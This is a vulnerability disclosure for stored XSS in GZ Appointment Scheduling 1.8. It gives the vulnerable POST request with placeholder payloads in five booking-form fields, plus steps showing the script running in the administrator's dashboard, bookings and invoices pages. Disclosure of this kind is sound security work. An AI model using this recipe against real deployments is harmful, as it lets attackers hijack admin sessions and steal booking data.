┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││ C r a C k E r ┌┘
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘
┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ [ Vulnerability ] ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: Author : CraCkEr :
│ Website : https://gzscripts.com/php-gz-appointment-scheduling-script.html │
│ Vendor : GZ Scripts │
│ Software : GZ Appointment Scheduling 1.8 │
│ Vuln Type: Stored XSS │
│ Impact : Manipulate the content of the site │
│ │
│────────────────────────────────────────────────────────────────────────────────────────│
│ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
: :
│ Release Notes: │
│ ═════════════ │
│ │
│ Allow Attacker to inject malicious code into website, give ability to steal sensitive │
│ information, manipulate data, and launch additional attacks. │
│ │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
Greets:
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09
CryptoJob (Twitter) twitter.com/0x0CryptoJob
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘ © CraCkEr 2023 ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
## Stored XSS
-----------------------------------------------
POST /PHPGZAppointment/load.php?controller=GzFront&action=step5 HTTP/1.1
service_id=1&employee_id=1×lot=1688119200&lang=3&date=2023-06-30&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=[XSS Payload]&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload]&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload]&additional=xxx&captcha=murimy&terms=1&lang=3
-----------------------------------------------
POST parameter 'first_name' is vulnerable to XSS
POST parameter 'second_name' is vulnerable to XSS
POST parameter 'phone' is vulnerable to XSS
POST parameter 'address_1' is vulnerable to XSS
POST parameter 'country' is vulnerable to XSS
## Steps to Reproduce:
1. As a [Guest User] Choose any [Employee] & Select the Day and the Time
2. Inject your [XSS Payload] in "First Name"
3. Inject your [XSS Payload] in "Last Name"
4. Inject your [XSS Payload] in "Phone"
5. Inject your [XSS Payload] in "Address Line 1"
6. Inject your [XSS Payload] in "Country"
7. Accept with terms & Press [Booking]
XSS Fired on Local User Browser
8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php#!/GzAdmin/home/)
XSS Will Fire and Executed on his Browser
9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php#!/GzBooking/index/)
XSS Will Fire and Executed on his Browser
10. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php#!/GzInvoice/index/)
XSS Will Fire and Executed on his Browser
[-] Done